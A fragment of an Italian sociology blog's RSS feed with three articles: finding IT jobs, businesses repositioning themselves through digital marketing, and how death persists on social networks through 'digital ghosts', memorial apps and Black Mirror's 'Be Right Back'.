		
			</item>
		<item>
		<title>Come trovare lavoro nell’ambito IT</title>
		<link>https://sociologicamente.it/come-trovare-lavoro-nellambito-it/</link>
		
		<dc:creator><![CDATA[Sociologicamente]]></dc:creator>
		<pubDate>Fri, 09 Dec 2022 14:56:21 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Attualità]]></category>
		<category><![CDATA[Lavoro]]></category>
		<category><![CDATA[digitale]]></category>
		<category><![CDATA[era digitale]]></category>
		<category><![CDATA[informazione]]></category>
		<category><![CDATA[lavoro]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=14344</guid>

					<description><![CDATA[<p>In un mondo sempre più digitalizzato, aumenta la richiesta di figure professionali nell’ambito IT. Infatti, in Italia cresce il numero di startup digitali e di negozi online. Per un’azienda oggi è importantissimo essere presente online. Per questo motivo, praticamente ogni ditta ha bisogno di informatici. Requisiti per lavorare nell’ambito informatico Gli ambiti di applicazione dell’IT [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/come-trovare-lavoro-nellambito-it/">Come trovare lavoro nell’ambito IT</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>In un mondo sempre più digitalizzato, aumenta la richiesta di figure professionali nell’ambito IT. Infatti, in Italia cresce il numero di startup digitali e di negozi online. Per un’azienda oggi è importantissimo essere presente online. Per questo motivo, praticamente ogni ditta ha bisogno di informatici.</p>



<h2 class="wp-block-heading">Requisiti per lavorare nell’ambito informatico</h2>



<p>Gli ambiti di applicazione dell’IT sono tantissimi e spesso si ricercano figure altamente specializzate. Per lavorare in questo settore è necessario avere una mente logica e matematica, oltre a ottime capacità di problem solving e capacità di lavorare in squadra.&nbsp; Per chi vuole intraprendere i primi passi in quest’ambito, è necessario <a href="https://aulab.it/come-imparare-a-programmare?utm_source=website&amp;utm_medium=articolo&amp;utm_campaign=geek&amp;utm_content=sociologicamente" target="_blank" rel="noreferrer noopener">imparare a programmare</a>. Il primo step è, quindi, quello di intraprendere un corso nei linguaggi di programmazione che più ti interessano e che siano più facilmente applicabili. Avere solo le qualifiche necessarie, però, spesso non è sufficiente. Molto meglio è crearsi un vero e proprio portfolio dei lavori finora svolti. Un altro punto a favore è dato dal percorso di studi: se si è studiato matematica o informatica si avranno molte più chance rispetto ad altri candidati.</p>



<div class="wp-block-image is-style-rounded"><figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro.jpg"><img decoding="async" width="1024" height="731" src="https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro-1024x731.jpg" alt="lavoro giovani futuro ambito IT informatica" class="wp-image-13387" srcset="https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro-1024x731.jpg 1024w, https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro-300x214.jpg 300w, https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro-768x549.jpg 768w, https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro-100x70.jpg 100w, https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro-696x497.jpg 696w, https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro-1068x763.jpg 1068w, https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro-588x420.jpg 588w, https://sociologicamente.it/wp-content/uploads/2022/03/lavoro-giovaani-futuro.jpg 1400w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure></div>



<p>Anche gli anni di esperienza lavorativa sono importanti. Un programmatore senior è più preparato rispetto a uno junior, perché sarà più veloce a identificare bug e scrivere codice. Tuttavia, da qualche parte bisognerà comunque iniziare. Per questo, ti consigliamo di non darti per vinto e iniziare a muovere i primi passi in direzione del lavoro dei tuoi sogni.</p>



<h2 class="wp-block-heading">Le figure professionali più diffuse nell’ambito e-commerce e IT</h2>



<ul class="wp-block-list"><li><strong>Web designer</strong></li></ul>



<p>Il web designer garantisce una buona esperienza di navigazione sul sito. Ha conoscenze specifiche nel design e nella UX. Il suo compito è quello di individuare problemi nell’usabilità e pensare a possibili soluzioni. Collabora a stretto contatto con i Frontend developer. Deve conoscere benissimo il linguaggio CSS.</p>



<ul class="wp-block-list"><li><strong>Front End developer</strong></li></ul>



<p>Lavora sull’interfaccia del sito, la parte visibile agli occhi dell’utente. Per diventare un buon Front End developer bisogna avere fondamenti di UX e web design, oltre ad avere conoscenze dettagliate di HTML, CSS e Javascript.</p>



<ul class="wp-block-list"><li><strong>Back End developer</strong></li></ul>



<p>Se i programmatori Front End lavorano su ciò che è visibile, quelli backend si occupano dei database, delle infrastrutture e dei server. Si occupa della struttura del sito, affinché sia sempre aggiornata e funzionante. Per un backend developer è necessario conoscere Python, Java e i framework PHP. Inoltre, deve saper gestire database con MySQL.</p>



<ul class="wp-block-list"><li><strong>Full Stack developer</strong></li></ul>



<p>Il Full Stack developer ha conoscenze sia in Back End che in Front End. Per essere un buon programmatore Full Stack bisogna conoscere sia i linguaggi di programmazione usati in Back End, che quelli in Front End.&nbsp;</p>



<ul class="wp-block-list"><li><strong>Data scientist</strong></li></ul>



<p>Il Data scientist è un esperto di big data. Il suo compito è quello di analizzare i dati aziendali, in modo da estrapolarne informazioni utili necessarie per far crescere l’azienda. La richiesta di questo tipo di esperti è aumentata nel corso del tempo. Questo perché i dati immagazzinati sugli utenti sono sempre di più, data la diffusione di diverse piattaforme di e-commerce come Amazon o Zalando e l’ampio utilizzo di social network come Instagram, TikTok e YouTube.</p>



<ul class="wp-block-list"><li><strong>Specialista della SEO</strong></li></ul>



<p>Questo professionista non è un vero e proprio informatico. Tuttavia, se si è un programmatore è importante conoscere anche questo settore. La SEO (<a href="https://it.wikipedia.org/wiki/Ottimizzazione_per_i_motori_di_ricerca" target="_blank" rel="noreferrer noopener">Search Engine Optimization</a>) è l’arte di ottimizzare le pagine di un sito web, al fine di fargli ottenere buone posizioni sui motori di ricerca. Per essere un buon SEO bisogna conoscere il funzionamento dei siti web e dei motori di ricerca. Bisogna avere solide basi di HTML. Si tratta di una figura molto ricercata in ogni e-commerce.</p>



<p>In questo articolo, abbiamo visto quali sono i primi passi da compiere per lavorare in ambito informatico, i requisiti che bisogna possedere e quali sono le figure più note e ricercate nell’ambito IT e e-commerce. Con questi consigli potrai trovare il lavoro più adatto a te.</p>
<p>L'articolo <a href="https://sociologicamente.it/come-trovare-lavoro-nellambito-it/">Come trovare lavoro nell’ambito IT</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Riposizionamento strategico: il digitale nell’impresa</title>
		<link>https://sociologicamente.it/riposizionamento-strategico-il-digitale-nellimpresa/</link>
		
		<dc:creator><![CDATA[Sociologicamente]]></dc:creator>
		<pubDate>Mon, 14 Nov 2022 16:11:06 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Attualità]]></category>
		<category><![CDATA[Lavoro]]></category>
		<category><![CDATA[digitale]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[sociologia]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=14262</guid>

					<description><![CDATA[<p>Venti anni fa, Bill Gates, nel libro Business @lla velocità del pensiero, proponeva una lucida previsione che correlava il successo delle aziende all’uso di strumenti digitali, necessari per rinnovare la propria competitività sul mercato e raggiungere i clienti in modo nuovo. Si tratta di un fenomeno che oggi si impone all’attenzione di molti imprenditori e [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/riposizionamento-strategico-il-digitale-nellimpresa/">Riposizionamento strategico: il digitale nell’impresa</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Venti anni fa, Bill Gates, nel libro Business @lla velocità del pensiero, proponeva una lucida previsione che correlava il successo delle aziende all’uso di <strong>strumenti digitali</strong>, necessari per rinnovare la propria competitività sul mercato e raggiungere i clienti in modo nuovo. Si tratta di un fenomeno che oggi si impone all’attenzione di molti imprenditori e professionisti e che viene definito <strong>riposizionamento strategico digitale</strong>. Siamo ormai tutti consapevoli di quanto le recenti innovazioni tecnologiche e le abitudini lasciateci dalla pandemia abbiano modificato in modo permanente la nostra esperienza del reale. </p>



<div class="wp-block-image is-style-rounded"><figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2017/08/455.jpg"><img decoding="async" width="1024" height="684" src="https://sociologicamente.it/wp-content/uploads/2017/08/455-1024x684.jpg" alt="Digital Research: quando la ricerca sociale invade il web" class="wp-image-3804" srcset="https://sociologicamente.it/wp-content/uploads/2017/08/455-1024x684.jpg 1024w, https://sociologicamente.it/wp-content/uploads/2017/08/455-300x200.jpg 300w, https://sociologicamente.it/wp-content/uploads/2017/08/455-768x513.jpg 768w, https://sociologicamente.it/wp-content/uploads/2017/08/455-696x465.jpg 696w, https://sociologicamente.it/wp-content/uploads/2017/08/455-1068x713.jpg 1068w, https://sociologicamente.it/wp-content/uploads/2017/08/455-629x420.jpg 629w, https://sociologicamente.it/wp-content/uploads/2017/08/455.jpg 1288w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption>Per una sociologia digitale: quando la ricerca sociale invade il web? approfondisci <a href="https://sociologicamente.it/digital-research-quando-la-ricerca-sociale-invade-il-web/" target="_blank" rel="noreferrer noopener">QUI</a></figcaption></figure></div>



<p>Grazie al digitale si è sviluppata una nuova figura di cittadino, che il sociologo statunitense Toffler ha definito “<strong>prosumer</strong>”, corrispondente alla fusione tra i ruoli di produttore e consumatore. Ciò ha provocato la necessità da parte delle imprese di compiere uno sforzo adattativo e ripensare il proprio modo di comunicare con il nuovo <strong>pubblico protagonista</strong> del mondo <strong>online</strong>, il cui potere decisionale è stato finora da molti sottovalutato.</p>



<h2 class="wp-block-heading">I touchpoint digitali e il nuovo viaggio decisionale del prosumer</h2>



<p>Sarà capitato a molti di voler acquistare un paio di scarpe – magari scoperto grazie a un annuncio apparso sui social –, di aver cominciato a <strong>cercare informazioni</strong> e recensioni sul prodotto o sul brand e ad effettuare confronti con articoli simili, per poi decidere se acquistarlo online o in negozio, in base al miglior prezzo trovato. Ecco, quello appena descritto è il <strong>customer decision journey</strong>, definito da McKinsey come il viaggio che il consumatore deve compiere per dare una risposta alle proprie esigenze. </p>



<div class="wp-block-image"><figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-touchpoint-digitali.jpg"><img decoding="async" width="1024" height="524" src="https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-touchpoint-digitali-1024x524.jpg" alt="" class="wp-image-14264" srcset="https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-touchpoint-digitali-1024x524.jpg 1024w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-touchpoint-digitali-300x154.jpg 300w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-touchpoint-digitali-768x393.jpg 768w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-touchpoint-digitali-696x356.jpg 696w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-touchpoint-digitali-821x420.jpg 821w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-touchpoint-digitali.jpg 1059w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure></div>



<p>Si tratta di un percorso circolare scandito da <strong>touchpoint</strong>, vale a dire i <strong>punti di contatto</strong> tradizionali o digitali in cui l’azienda e il consumatore si incontrano e che risultano determinanti per condurre quest’ultimo alla propria <strong>decisione di acquisto</strong>. Alcuni esempi di touchpoint sono i punti vendita fisici, i trasporti brandizzati, i canali promozionali come la stampa, la televisione, il<strong> sito web</strong> e le <strong>pagine social</strong> aziendali, così come i servizi di newsletter.</p>



<p>Le organizzazioni oggi sono chiamate a monitorare il passaggio degli utenti in questi luoghi materiali e immateriali, in quanto l’adozione di un <strong>approccio multicanale</strong> e il presidio dei punti di contatto può assicurare ad esse un <strong>vantaggio competitivo</strong>. In particolare, durante i momenti di interazione tra azienda e clienti, si producono numerose informazioni circa <strong>l’esperienza dell’utente</strong>, le quali, se raccolte e analizzate con gli strumenti adeguati, consentono di misurare e valutare le performance dei singoli touchpoint, e, dunque, di individuarne i punti di forza e di debolezza da <strong>ottimizzare</strong>. Ad esempio, uno dei principali touchpoint su cui si fonda la reputazione di Amazon è costituito dall’<strong>assistenza clienti</strong>. L’attività e i servizi erogati dall’azienda sono da sempre orientati a favorire un’ottima esperienza per gli utenti e, nel tempo, questo valore guida ha reso il customer care di Amazon un <strong>benchmark globale</strong>.</p>



<h2 class="wp-block-heading">Ridurre la distanza con i clienti: riposizionamento strategico digitale </h2>



<p>In che modo quindi le aziende e i professionisti possono rafforzare la propria reputazione e soddisfare al meglio le esigenze dei propri clienti? In alcuni casi è necessario avviare un <strong>processo di riposizionamento</strong>, che concerne <strong>l’insieme diattività messe in atto da un’organizzazione permodificareil modo in cui essa viene percepita dai consumatori</strong>. Il termine viene anche utilizzato per definire nello specifico il processo di inserimento dell’impresa nell’ambiente digitale, mediante la pianificazione di una strategia di <strong>digital marketing</strong>. </p>



<p>Esistono diverse tipologie di riposizionamento, a seconda dell’obiettivo dell’azienda e delle modalità con cui essa intende raggiungerlo. Tra le più diffuse v’è l’<strong>image repositioning</strong>, che mira a trasformare il modo in cui i clienti percepiscono l’immagine dell’azienda senza operare sostanziali modifiche rispetto al pubblico di riferimento o al prodotto o servizio offerto e che, pertanto, non comporta rischi o svantaggi rilevanti per il brand.</p>



<div class="wp-block-image is-style-default"><figure class="aligncenter size-large is-resized"><a href="https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1.png"><img decoding="async" src="https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1-1024x1024.png" alt="" class="wp-image-14266" width="512" height="512" srcset="https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1-1024x1024.png 1024w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1-300x300.png 300w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1-150x150.png 150w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1-768x768.png 768w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1-696x696.png 696w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1-1068x1068.png 1068w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1-420x420.png 420w, https://sociologicamente.it/wp-content/uploads/2022/11/riposizionamento-strategico-image-repositioning-1.png 1080w" sizes="(max-width: 512px) 100vw, 512px" /></a></figure></div>



<h2 class="wp-block-heading">Riposizionamento strategico: SEO marketing e non solo</h2>



<p>Tale processo di riposizionamento strategico comporta lo sviluppo di attività tattiche, quali la <strong>SEO</strong> (Search Engine Optimization), il <strong>social media marketing</strong>, l’<strong>advertising online</strong>, l’<strong>email marketing </strong>e il <strong>content marketing</strong>. Quest’ultimo, in particolare è l’elemento cardine su cui oggi si fonda la comunicazione di qualsiasi organizzazione di successo. Esso consiste in un insieme di attività che si articolano nei processi di <strong>content creation</strong> e <strong>content management</strong> e permette la costruzione di quello che Invernizzi e Romenti definiscono <strong>contenuto narrativo di impresa</strong>, ovvero la divulgazione di messaggi che attingono agli elementi fondativi dell’organizzazione, come i valori guida, la sua storia, i plus che la distinguono dalla concorrenza, la qualità dei prodotti e i servizi offerti, le iniziative e gli eventi promossi. </p>



<p>L’obiettivo dev’essere quello di <strong>intrattenere, ispirare, educare, informare</strong> e soprattutto <strong>emozionare</strong> il pubblico, al fine di generare un rapporto di fiducia col brand. Si tratta di un’attività strategica di complessa realizzazione sul lungo periodo, che richiede una grande capacità di <strong>innovazione</strong>, una certa costanza nella pianificazione e diffusione dei contenuti attraverso i canali e le piattaforme di riferimento e un talento nell’<strong>ascoltare i pubblici</strong> e nell’intercettarne i bisogni.</p>



<p><strong>Vittoria Piccolo</strong></p>



<h2 class="wp-block-heading">Riferimenti bibliografici e sitografici</h2>



<ul class="wp-block-list"><li>D. Court, D. Elzinga, S. Mulder, O. J. Vetvik, The consumer decision journey, in McKinsey Quarterly, 2009, <a href="https://www.mckinsey.com/capabilities/growth-marketing-and-sales/our-insights/the-consumer-decision-journey">https://www.mckinsey.com/capabilities/growth-marketing-and-sales/our-insights/the-consumer-decision-journey</a>.</li><li>B. Gates, Business @lla velocità del pensiero. Avere successo nell’era digitale, Torino, Mondadori, 1999.</li><li>E. Invernizzi, S. Romenti, Manuale di Corporate Communication, McGraw–Hill Education, 2022.</li><li><a href="https://amzn.to/3X5bAvI" target="_blank" rel="noreferrer noopener">V. Piccolo, Il riposizionamento dell’azienda nello scenario digitale. Strategie per una comunicazione di successo, Amazon, 2022.</a></li><li>A. Toffler,  La Terza Ondata, Sperling &amp; Kupfer, 1987.</li></ul>
<p>L'articolo <a href="https://sociologicamente.it/riposizionamento-strategico-il-digitale-nellimpresa/">Riposizionamento strategico: il digitale nell’impresa</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>La morte e i social network: eternarsi nel digitale</title>
		<link>https://sociologicamente.it/la-morte-e-i-social-network-eternarsi-nel-digitale/</link>
		
		<dc:creator><![CDATA[Sociologicamente]]></dc:creator>
		<pubDate>Mon, 10 Oct 2022 06:52:00 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Cultura e New Media]]></category>
		<category><![CDATA[digitale]]></category>
		<category><![CDATA[era digitale]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[social network]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=14098</guid>

					<description><![CDATA[<p>Quante volte durante la giornata ci si sofferma a pensare alla morte? Il concetto di morte, viene solitamente tenuto a debita distanza dallo svolgimento della nostra vita, ma ritorna costantemente nel cuore della quotidianità con l’utilizzo dei social network, delle chat e del web. Come si diventa spettri digitali? La costante presenza sul computer e [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/la-morte-e-i-social-network-eternarsi-nel-digitale/">La morte e i social network: eternarsi nel digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Quante volte durante la giornata ci si sofferma a pensare alla morte? I<strong>l concetto di morte, viene solitamente tenuto a debita distanza dallo svolgimento della nostra vita</strong>, ma ritorna costantemente nel cuore della quotidianità con l’utilizzo dei social network, delle chat e del web.</p>



<h2 class="wp-block-heading">Come si diventa spettri digitali?</h2>



<p>La costante presenza sul computer e sui dispositivi mobili dell’account Facebook di una persona deceduta, in mezzo ai profili dei vivi, è un’esperienza non commensurabile alla visita programmata alla sua tomba nel cimitero cittadino o alla visione della fotografia conservata in un album nel cassetto del mobile in salotto. Se le tracce della sua esistenza si <strong>sedimentano nei ricordi dei familiari</strong>, degli amici e dei conoscenti, le sue impronte digitali vagano, invece, eternamente e senza meta, ripiombando in maniera inaspettata dinanzi agli occhi di chiunque abbia avuto a che fare con lei. Basta una parola chiave digitata su un motore di ricerca o la visione di una fotografia in cui la persona deceduta è stata taggata per rimettere in moto una fine che virtualmente fine non ha. </p>



<div class="wp-block-image is-style-rounded"><figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte.jpg"><img decoding="async" width="1024" height="683" src="https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte-1024x683.jpg" alt="teschio morte" class="wp-image-13819" srcset="https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte-1024x683.jpg 1024w, https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte-300x200.jpg 300w, https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte-768x512.jpg 768w, https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte-1536x1024.jpg 1536w, https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte-696x464.jpg 696w, https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte-1068x712.jpg 1068w, https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte-630x420.jpg 630w, https://sociologicamente.it/wp-content/uploads/2022/07/teschio-morte.jpg 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption>Approfondisci con quest&#8217;altro articolo -&gt; <a href="https://sociologicamente.it/morte-e-immortalita-dal-corpo-al-digitale/" target="_blank" rel="noreferrer noopener">Morte e immortalità: dal corpo al digitale</a></figcaption></figure></div>



<p>Come afferma <strong>il filosofo sudcoreano Byung-Chul Han</strong>, si diventa spettri digitali a disposizione permanente dei posteri e quindi capaci accidentalmente di vivere per sempre, senza il proprio consenso, ingombranti testimoni del passaggio della morte e della contemporanea impossibilità di scomparire e di dimenticare.</p>



<p>Dunque, qualsiasi strategia adottata per allontanare il pensiero quotidiano della mortalità viene vanificata dalla cultura digitale. <strong>La morte è presente ovunque nell’ambiente digitale</strong>: nei social network, tra i selfie su Instagram, dove trova un suo specifico spazio tramite hashtag divenuti popolari, nei video amatoriali in diretta, nelle immagini sui quotidiani in rete, in molteplici siti Internet e blog.</p>



<h2 class="wp-block-heading">La morte in &#8220;If I Die&#8221;</h2>



<p>Un esempio ci viene offerto da Eran Alfonta, amministratore delegato di Willook e ideatore di <a href="http://ifidie.net/" target="_blank" rel="noreferrer noopener">If I Die</a>, un’applicazione che offre la possibilità di preparare videomessaggi e testi scritti di commiato, i quali verranno pubblicati su Facebook, una volta deceduti. Alfonta sostiene che “siamo su Facebook prima di nascere, nelle immagini delle ecografie prenatali condivise dai nostri genitori, poi<strong> nasciamo su Facebook, cresciamo su Facebook,</strong> ci sposiamo e divorziamo su Facebook. Il tutto testimoniato quotidianamente con messaggi, fotografie e video. Non c’è niente di strano nel morire anche su Facebook. </p>



<p>Anzi, stupisce che i gestori del social network, almeno fino a oggi, abbiano sottovalutato questo aspetto inevitabile della nostra esistenza. Che piaccia o no rifletterci sopra, i loro utenti, oltre a flirtare, litigare e condividere fake news, non sono ancora in grado di evitare a sé stessi la seccatura della malattia e della morte” (Davide Sisto, La morte si fa social, pag. 13). <strong>Le persone muoiono, i loro profili Facebook no.</strong></p>



<div class="wp-block-image"><figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2022/07/la-morte-si-fa-social-libro.jpg"><img decoding="async" width="424" height="674" src="https://sociologicamente.it/wp-content/uploads/2022/07/la-morte-si-fa-social-libro.jpg" alt="" class="wp-image-13820" srcset="https://sociologicamente.it/wp-content/uploads/2022/07/la-morte-si-fa-social-libro.jpg 424w, https://sociologicamente.it/wp-content/uploads/2022/07/la-morte-si-fa-social-libro-189x300.jpg 189w, https://sociologicamente.it/wp-content/uploads/2022/07/la-morte-si-fa-social-libro-264x420.jpg 264w" sizes="(max-width: 424px) 100vw, 424px" /></a><figcaption><a href="https://amzn.to/3CkqbcN" target="_blank" rel="noreferrer noopener">Recupera il testo qui</a></figcaption></figure></div>



<p>Secondo Mashable, If I Die conferisce immortalità ai social network, poiché permette ai profili di continuare ad aggiornarsi anche dopo la scomparsa del legittimo proprietario. Uno degli strumenti dell’applicazione permette anche di stabilire una data specifica di pubblicazione, utilizzabile in caso di suicidio, oppure nel caso in cui l’utente contrasse una malattia incurabile. Willook dichiara: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>«Tutti abbiamo delle cose da dire, e non sempre c’è un pubblico disposto ad ascoltarci finché siamo in vita. La cosa importante è riuscire a lasciare dietro di noi un messaggio, un’impronta, un segno del nostro passaggio».</p></blockquote>



<h2 class="wp-block-heading">Onlife: le due abitazioni della morte</h2>



<p>Per <strong>Luciano Floridi </strong>è sbagliato credere che l’abitazione virtuale sia una via di mezzo tra l’attitudine degli agenti umani ad adattarsi agli ambienti digitali e una forma di neo-colonizzazione post-moderna degli ambienti digitali da parte degli agenti umani, da cui seguono p<strong>robabili vantaggi anche per l’abitazione tradizionale. </strong>Le due abitazioni, online e offline, non sono infatti semplicemente sovrapposte. Il loro confine, con l’incessante evoluzione del web, è sempre più sfocato, per cui il mondo digitale trabocca nel mondo analogico offline, con il quale si sta mescolando. </p>



<p>Questo fenomeno viene definito da Floridi come “esperienza onlife”, per mostrare quanto non abbia senso tenere distinte le abitazioni e pensare che online e offline costituiscano, semplicemente, due mondi paralleli. La consapevolezza di essere onlife, quindi di vivere in contemporanea in due abitazioni comporta un ripensamento radicale del nostro legame privato e pubblico con la morte e il lutto, con la memoria e l’oblio, con il rito funebre e il cordoglio, con la visione stessa del cadavere.</p>



<h2 class="wp-block-heading">Diventare inforg</h2>



<p><strong>Nell’esperienza onlife si diventa degli inforg,</strong> organismi informazionali reciprocamente connessi e parte di un ambiente informazionale, l’infosfera condivide con altri agenti informazionali, naturali e artificiali e che processano informazioni in modo logico e autonomo. La quarta rivoluzione, che prevede la delega continua dei nostri ricordi e delle nostre memorie ad agenti artificiali, offre nuove soluzioni e opportunità al nostro complicato rapporto con il fine vita e con il tempo che passa.</p>



<p>L’integrazione armonica tra l’abitazione virtuale e l’abitazione fisica, tra la dimensione online e quella offline, tra l’informazione pubblica e l’azione privata, la bacheca su Facebook del deceduto, se rimane online in assenza di previe indicazioni date dal proprietario, <strong>assomiglia in tutto e per tutto alla sua abitazione fisica.</strong> La differenza è che nell’abitazione fisica occorre andarci in un momento specifico della giornata, mentre, nel diario di Facebook ci si può finire in qualsiasi istante.</p>



<h2 class="wp-block-heading">Black Mirror: Be Right Back</h2>



<p>Simbolo distopico di un futuro prossimo, <strong>l’episodio Be right back</strong>, della <a href="https://www.netflix.com/it/title/70264888" target="_blank" rel="noreferrer noopener">seconda stagione di Black Mirror</a>, serie tv britannica disponibile su Netflix, è una delle migliori espressioni di fantascienza cinematografica nell’immaginare le future evoluzioni delle tecnologie odierne.</p>



<p>L’episodio narra la vicenda di una giovane coppia inglese, Martha e Ash. La loro vita matrimoniale: la spesa al supermercato, le canzoni dei Bee Gees cantate in automobile, lo smartphone sempre in mano, viene stravolta con la morte di Ash a causa di un incidente stradale. Martha, a pezzi per la perdita e incinta, si lascia convincere dalla sua migliore amica a installare sul computer un software dotato di una caratteristica particolare, ovvero il suo uso permette di “continuare” a comunicare con il compagno deceduto.</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-Black-Mirror.jpg"><img decoding="async" width="980" height="490" src="https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-Black-Mirror.jpg" alt="" class="wp-image-14106" srcset="https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-Black-Mirror.jpg 980w, https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-Black-Mirror-300x150.jpg 300w, https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-Black-Mirror-768x384.jpg 768w, https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-Black-Mirror-696x348.jpg 696w, https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-Black-Mirror-840x420.jpg 840w" sizes="(max-width: 980px) 100vw, 980px" /></a></figure></div>



<p>Il programma ricrea il profilo del caro estinto con la sua specifica personalità e con il suo stile comunicativo, rielaborando le parole e le immagini da lui condivise sui social network, nelle chat e nelle e-mail private. L’obiettivo è quello di lenire le sofferenze causate dal lutto. Nel corso dell’episodio un richiamo alla realtà lo si può riscontrare nell’espressione che utilizza il software quando dice: “sono un sistema remoto, vivo tra le nuvole”.</p>



<p>Il passaggio successivo è ancora più estremo. Il<strong> defunto può “tornare” dalla sua compagna con un corpo artificiale </strong>anonimo che va attivato, seguendo delle precise istruzioni. Così, per casa inizia a muoversi un Ash artificiale, ma il corpo artificiale non sostituisce del tutto la persona reale, finendo depositato in soffitta, pronto a essere riattivato ogni volta che il peso del lutto torna a farsi insopportabile.</p>



<h2 class="wp-block-heading">Facebook e spettri digitali</h2>



<p><strong>Si stima che trentatremila utenti di Facebook concludono quotidianamente la propria vita</strong>, portando il pensiero e l’immagine della morte tanto nello spazio fisico quanto nello spazio mentale di una quantità imprecisa di persone. Secondo Hachem Sadikki, dottore di ricerca in Statistica presso l’Università del Massachussetts, nel 2098 il numero di utenti deceduti sarà addirittura superiore a quelli ancora in vita.</p>



<p>Ciò è dovuto alla scelta del social network di non eliminare in modo automatico gli account degli utenti deceduti e il rallentamento endemico delle nuove iscrizioni. Se le previsioni sono corrette e se Facebook a fine secolo sarà ancora attivo, tra qualche decennio, una distesa di profili fantasma saranno a disposizione di chi è rimasto ancora in vita e si ritrova circondato da tutti questi spettri.</p>



<div class="wp-block-image is-style-default"><figure class="aligncenter size-large"><a href="https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-network.jpg"><img decoding="async" width="800" height="533" src="https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-network.jpg" alt="morte social network" class="wp-image-14100" srcset="https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-network.jpg 800w, https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-network-300x200.jpg 300w, https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-network-768x512.jpg 768w, https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-network-696x464.jpg 696w, https://sociologicamente.it/wp-content/uploads/2022/10/morte-social-network-630x420.jpg 630w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure></div>



